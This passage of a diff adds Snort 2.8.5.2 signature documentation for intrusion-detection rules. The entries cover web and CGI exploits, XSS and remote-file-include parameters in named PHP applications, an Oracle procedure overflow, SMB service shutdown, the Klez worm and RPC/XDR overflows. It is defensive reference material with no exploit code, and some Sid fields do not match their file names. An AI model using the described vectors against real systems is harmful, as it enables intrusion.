+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2482.txt
+++ snort-2.8.5.2/doc/signatures/2482.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+2176
+
+
+--
+Summary:
+This event is generated when an attempt is made to shutdown a service via SMB. 
+
+--
+Impact:
+Serious.
+
+--
+Detailed Information:
+This event indicates that an attempt was made to shutdown a service
+on a system using SMB across the network.
+
+--
+Affected Systems:
+	Microsoft Windows systems.
+
+--
+Attack Scenarios:
+An attacker may try to deny services to other users.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the host for signs of system compromise.
+
+Turn off file and print sharing on the target host.
+
+Use a packet filtering firewall to disallow SMB access to the host from
+sources external to the protected network.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000657.txt
+++ snort-2.8.5.2/doc/signatures/100000657.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+100000657
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site 
+scripting vulnerability in the "MyPHP Guestbook" application running on a 
+webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site 
+scripting vulnerability via the "homepage" parameter in the "guestbook.php" 
+script used by the "MyPHP Guestbook" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to retrieve sensitive data, execute system binaries 
+or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using MyPHP Guestbook
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a 
+user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/3448.txt
+++ snort-2.8.5.2/doc/signatures/3448.txt
@@ -0,0 +1,54 @@
+Rule:
+
+--
+Sid:
+3448
+
+--
+Summary:
+This rule does not generate an event. It is used in conjunction with
+other rules to reduce the possibility of false postives from occuring.
+
+--
+Impact:
+Unknown.
+
+--
+Detailed Information:
+This rule does not generate an event. It is used in conjunction with
+other rules to reduce the possibility of false postives from occuring.
+
+--
+Affected Systems:
+	NA
+
+--
+Attack Scenarios:
+NA
+
+--
+Ease of Attack:
+NA
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+NA
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2606.txt
+++ snort-2.8.5.2/doc/signatures/2606.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+2606
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in a Oracle database implementation.
+
+--
+Impact:
+Serious. Execution of arbitrary code may be possible. A Denial of
+Service (DoS) condition may also be caused.
+
+--
+Detailed Information:
+Oracle databases may use a built-in procedure to assist in database
+replication. The "comment_on_repobject" procedure contains a
+programming error that may allow an attacker to execute a buffer
+overflow attack.
+
+This overflow is triggered by a long string in a parameter for the
+procedure.
+
+If you are running Oracle on a Windows server, make sure that the
+variable $ORACLE_PORTS is set to a value of "any".
+
+--
+Affected Systems:
+        Oracle 9i
+
+--
+Attack Scenarios:
+An attacker can supply a long string to the "type" variable to cause
+the overflow. The result could permit the attacker to gain escalated
+privileges and run code of their choosing. This attack requires an
+attacker to logon to the database with a valid username and password
+combination.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Other:
+http://www.appsecinc.com/Policy/PolicyCheck634.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/562.txt
+++ snort-2.8.5.2/doc/signatures/562.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+562
+
+--
+Summary:
+This event is generated when a known response to a sucessful attack is
+detected.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when a known response to a sucessful attack is
+detected. Some applications do not perform stringent checks when validating
+the credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can be
+compromised and trust relationships between the victim server and other
+hosts can be exploited by the attacker.
+
+Events generated by rules in attack-responses.rules may indicate that an
+attack against a host has been sucessful.
+
+--
+Affected Systems:
+	Any vulnerable host.
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. An attacker might also exploit a
+weakness in a particular application or piece of software that will
+present the opportunity to gain access to the host.
+
+--
+Ease of Attack:
+Simple. Many exploits exist for various systems and software.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Care should be taken to investigate the source of the event. Check for
+signs of system compromise in log files. Check for listening services on
+high ports.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+OpenNap Specification
+http://opennap.sourceforge.net/napster.txt
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1012.txt
+++ snort-2.8.5.2/doc/signatures/1012.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+1012
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a web server running Microsoft Internet Information
+Server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases. Denial of
+Service is possible.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running Microsoft Internet Information Server (IIS). Many known
+vulnerabilities exist for this platform and the attack scenarios are
+legion.
+
+--
+Affected Systems:
+	All systems running Microsoft IIS
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Many exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2483.txt
+++ snort-2.8.5.2/doc/signatures/2483.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+2176
+
+
+--
+Summary:
+This event is generated when an attempt is made to shutdown a service via SMB. 
+
+--
+Impact:
+Serious.
+
+--
+Detailed Information:
+This event indicates that an attempt was made to shutdown a service
+on a system using SMB across the network.
+
+--
+Affected Systems:
+	Microsoft Windows systems.
+
+--
+Attack Scenarios:
+An attacker may try to deny services to other users.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the host for signs of system compromise.
+
+Turn off file and print sharing on the target host.
+
+Use a packet filtering firewall to disallow SMB access to the host from
+sources external to the protected network.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1174.txt
+++ snort-2.8.5.2/doc/signatures/1174.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1174
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1316.txt
+++ snort-2.8.5.2/doc/signatures/1316.txt
@@ -0,0 +1,64 @@
+Rule:  
+--
+Sid:
+
+1316
+
+--
+Summary:
+This rule indicates that a webpage was visited the included the content "fuck fuck fuck".
+
+--
+Impact:
+Someone could be violating your company's policy regarding the browsing of inappropriate content.
+
+--
+Detailed Information:
+
+This rule looks for a response from a webserver containing "fuck fuck fuck".
+
+--
+Affected Systems:
+
+All
+
+--
+Attack Scenarios:
+
+Not an attack.  
+
+--
+Ease of Attack:
+
+N/A.
+
+--
+False Positives:
+
+This could have been caused by a pop-up window or spam with an embedded link to a pornographic website.  This could also be caused by somebody visiting the snort rule descriptions on the snort website.
+
+--
+False Negatives:
+
+None known.
+--
+Corrective Action:
+
+Dependent on your company's policies.   
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Steven Alexander<alexander.s@mccd.edu>
+-- 
+Additional References:
+
+
+
+
+
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1784.txt
+++ snort-2.8.5.2/doc/signatures/1784.txt
@@ -0,0 +1,65 @@
+Rule:  
+
+--
+Sid:
+
+1784
+
+--
+Summary:
+This rule indicates that a webpage was visited the included the content "nude celeb".
+
+--
+Impact:
+Someone could be violating your company's policy regarding the browsing of inappropriate content.
+
+--
+Detailed Information:
+
+This rule looks for a response from a webserver containing "nude celeb".
+
+--
+Affected Systems:
+
+All
+
+--
+Attack Scenarios:
+
+Not an attack.  
+
+--
+Ease of Attack:
+
+N/A.
+
+--
+False Positives:
+
+This could have been caused by a pop-up window or spam with an embedded link to a pornographic website.  This could also be caused by somebody visiting the snort rule descriptions on the snort website. etc.etc.
+
+--
+False Negatives:
+
+None known.
+--
+Corrective Action:
+
+Dependent on your company's policies.   
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Steven Alexander<alexander.s@mccd.edu>
+-- 
+Additional References:
+
+
+
+
+
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2093.txt
+++ snort-2.8.5.2/doc/signatures/2093.txt
@@ -0,0 +1,86 @@
+Rule:
+
+--
+Sid:
+2093
+
+--
+Summary:
+vulnerability in xdrmem_getbytes used by XDR in RPC portmap services.
+
+--
+Impact:
+System compromise, denial of service, execution of arbitrary code, 
+information disclosure.
+
+--
+Detailed Information:
+A vulnerability exists in various implementations of external data 
+representation (XDR) libraries. An integer overflow in a component 
+(xdrmem_getbytes) used by XDR can lead to a buffer overflow.
+
+The XDR libraries are widely used by multiple vendors to provide a 
+framework for data transmission across networks. This is most commonly 
+used in RPC implementations.
+
+A specially crafted rpc request can lead to remote system compromise and
+super user access to the target host. Additionally, a denial of service 
+and execution of arbitrary code with the privilege of the super user is 
+also possible.
+
+--
+Affected Systems:
+Multiple vendors including all those using:
+	Sun Microsystems Network Services Library (libnsl)
+	GNU C library with sunrpc (glibc)
+	BSD-derived libraries with XDR/RPC routines (libc)
+
+--
+Attack Scenarios:
+The attacker needs to send a specially crafted rpc request to the target
+host.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Upgrade the vendor libraries to the latest non-affected versions. Any 
+statically linked binaries and applications must be recompiled and 
+restarted after the upgrade.
+
+Disallow all RPC requests from external sources and use a firewall to 
+block access to RPC ports from outside the LAN.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/7123
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0028
+
+CERT:
+http://www.cert.org/advisories/CA-2003-10.html
+http://www.kb.cert.org/vuls/id/516825
+http://www.kb.cert.org/vuls/id/192995
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000743.txt
+++ snort-2.8.5.2/doc/signatures/100000743.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000743
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "Plume CMS" application running on a webserver. Access to the file "dbinstall.php" using a remote file being passed as the "_PX_config[manager_path]" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "_PX_config[manager_path]" parameter in the "dbinstall.php" script used by the "Plume CMS" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Plume CMS
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1851.txt
+++ snort-2.8.5.2/doc/signatures/1851.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1851
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000658.txt
+++ snort-2.8.5.2/doc/signatures/100000658.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+100000658
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site 
+scripting vulnerability in the "MyPHP Guestbook" application running on a 
+webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site 
+scripting vulnerability via the "number" parameter in the "guestbook.php" 
+script used by the "MyPHP Guestbook" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to retrieve sensitive data, execute system binaries 
+or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using MyPHP Guestbook
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a 
+user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/590.txt
+++ snort-2.8.5.2/doc/signatures/590.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+590
+
+--
+Summary:
+This event is generated when an attempt is made through a portmap GETPORT request to discover the port where the Remote Procedure Call (RPC) ypserv is listening.
+
+
+--
+Impact:
+Information disclosure.  This request is used to discover which port ypserv is using.  Attackers can also learn what versions of the ypserv protocol are accepted by ypserv. 
+
+--
+Detailed Information:
+The portmapper service registers all RPC services on UNIX hosts. It can be queried to determine the port where RPC services such as ypserv run.  The ypserv RPC service looks up information in the local Network Information Service (NIS) maps.  The ypserv program provides the server function for Yellow Pages (YP) by providing clients information from NIS maps.  Multiple vulnerabilities are associated with the ypserv RPC program.
+
+--
+Affected Systems:
+All hosts running the UNIX portmapper.
+
+--
+Attack Scenarios:
+An attacker can query the portmapper to discover the port where ypserv runs.  This may be a precursor to accessing ypserv.
+
+--
+Ease of Attack:
+Easy.  
+
+--
+False Positives:
+If a legitimate remote user is allowed to access ypserv, this rule may trigger.
+
+--
+False Negatives:
+This rule detects probes of the portmapper service for ypserv, not probes of the ypserv service itself. Because RPC services often listen on fairly arbitrary ports, it may not be possible to detect misuses of the ypserv service itself. An attacker may attempt to go directly to the ypserv port without querying the portmapper service, which would not trigger the rule.
+
+--
+Corrective Action:
+Limit remote access to RPC services.
+
+Filter RPC ports at the firewall to ensure access is denied to RPC-enabled machines. 
+
+Disable unneeded RPC services.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq
+http://www.securityfocus.com/bid/6016
+http://www.securityfocus.com/bid/5914
+
+CVE
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-1232
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-1042
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-1043
+
+Arachnids:
+http://www.whitehats.com/info/IDS12
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/698.txt
+++ snort-2.8.5.2/doc/signatures/698.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+698
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft SQL.
+
+--
+Impact:
+Information gathering and data integrity compromise. Possible unauthorized
+administrative access to the server or application.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to an implementation of Microsoft SQL server or client.  This can
+lead to unauthorized access and possibly escalated privileges to that of 
+the administrator. Data stored on the machine can be compromised and 
+trust relationships between the victim server and other hosts can be 
+exploited by the attacker.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An attacker can access the authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Disallow administrative access from sources external to the protected
+network.
+
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1800.txt
+++ snort-2.8.5.2/doc/signatures/1800.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+
+1800
+
+--
+Summary:
+This event is generated when an incoming email containing the Klez worm is detected.
+
+--
+Impact:
+System compromise and further infection of target hosts.
+
+--
+Detailed Information:
+W32/Klez.h@MM exploits the vulnerability in Microsoft Internet Explorer (ver 5.01 or 5.5 without SP2), enabling it to execute email attachments.
+
+Once executed, it can unload several processes including Anti-virus programs.
+
+The worm is able to propagate over the network by copying itself to network shares (assuming sufficient permissions exist). Target filenames are chosen randomly, and can have single or double file extensions.
+
+--
+Affected Systems:
+	Microsoft Internet Explorer (ver 5.01 or 5.5 without SP2)
+
+--
+Attack Scenarios:
+This virus can be considered a blended threat. It mass-mails itself to email addresses found on the local system, then exploits a known vulnerability, spreads via network shares, infects executables on the local system.
+
+--
+Ease of Attack:
+Simple. This is worm activity.
+
+--
+False Positives:
+Certain binary file email attachments can trigger this alert.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor suppled patches.
+
+Block incoming attachments with .bat, .exe, .pif, and .scr extensions 
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Nawapong Nakjang (tony@ksc.net, tonie@thai.com)
+
+--
+Additional References:
+
+Symantec:
+http://securityresponse.symantec.com/avcenter/venc/data/w32.klez.h@mm.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2319.txt
+++ snort-2.8.5.2/doc/signatures/2319.txt
@@ -0,0 +1,60 @@
+Rule:  
+
+--
+Sid:
+2319
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in Ebola from PLD Software.
+
+--
+Impact:
+Serious. Execution of arbitrary code may be possible.
+
+--
+Detailed Information:
+Ebola from PLD Software is used to improve the performance of Anti-Virus
+solutions on Linux systems.
+
+A buffer overflow condition is present in the authentication mechanism
+such that it may be triggered by the generation of an error message from
+an unsuccessful authentication attempt.
+
+--
+Affected Systems:
+	All versions of Ebola prior to 0.1.5
+
+--
+Attack Scenarios:
+An attacker can send specially crafted authentication attempts to the Ebola system and
+cause the buffer overflow thus presenting the opportunity to execute
+arbitrary code.
+
+--
+Ease of Attack:
+Simple. Expoits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1940.txt
+++ snort-2.8.5.2/doc/signatures/1940.txt
@@ -0,0 +1,56 @@
+Rule:
+--
+
+Sid:
+1940
+
+--
+Summary:
+This event is generated when a possible buffer overflow is attempted for the bootpd service.
+
+--
+Impact:
+Remote access. This attack may permit the execution of arbitrary commands on the vulnerable server.
+
+--
+Detailed Information:
+Bootp is a protocol used for devices such as diskless workstations to locate a host from which to boot and to receive an assigned an IP address.  A flaw exists in the bootpd service allowing a possible buffer overflow condition when a bootp request is issued with an invalid hardware type. This attack may permit the execution of arbitrary commands on the vulnerable server. 
+
+--
+Affected Systems:
+OpenBSD 2.3, 2.4
+FreeBSD - Releases up to and including 2.x
+
+--
+Attack Scenarios:
+An attacker may attempt to use this exploit to gain remote access on the vulnerable server.
+
+--
+Ease of Attack:
+Simple. Exploit code is freely available.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Block bootp traffic from entering your network.  
+
+--
+Contributors:
+Original rule writer unknown.
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+CVE
+http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-1999-0798
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3114.txt
+++ snort-2.8.5.2/doc/signatures/3114.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+3114
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft License Logging Service.
+
+-- 
+Impact: 
+Serious. Execution of arbitrary code leading to unauthorized
+administrative access to the target host. Denial of Service (DoS) is
+also possible.
+
+--
+Detailed Information:
+Microsoft License Logging Service is used to manage licenses for
+Microsoft server products.
+
+A vulnerability in the service exists due to a programming error such
+that an unchecked buffer may present an attacker with the opportunity to
+exploit the service and run code of their choosing on an affected
+system. The attacker may then cause a DoS condition in the service or
+possibly gain administrative access to the target host.
+
+The unchecked buffer exists when processing the length of messages sent
+to the logging service.
+
+--
+Affected Systems:
+	Microsoft Windows Server 2003
+	Microsoft Windows Server 2000
+	Microsoft Windows NT Server
+
+--
+Attack Scenarios: 
+An attacker can supply extra data in the message to the service
+containing code of their choosing to be run on the server.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+-- 
+
+Corrective Action: 
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors: 
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1344.txt
+++ snort-2.8.5.2/doc/signatures/1344.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid:
+1341
+
+--
+Summary:
+Attempted cc command access via web
+
+--
+Impact:
+Attempt to compile a binary on a host.
+
+--
+Detailed Information:
+This is an attempt to compiile a C or C++ source on a host. The cc
+command is theGNU project's C and C++ compiler used to compile C and
+C++ sourcefiles into executable binary files. The attacker could
+possibly compilea program needed for other attacks on the system or
+install a binaryprogram of his choosing.
+
+--
+Attack Scenarios:
+The attacker can make a standard HTTP request that contains 'cc'in the URI.
+
+--
+Ease of Attack:
+Simple HTTP request.
+
+--
+False Positives:
+Web sites using spaces in filenames that also contain the characters
+"cc" may cause this rule to generate an event. For example, the URI
+http://www.foo.com/bar/filecc here.htm will cause an event to be
+generated.
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+
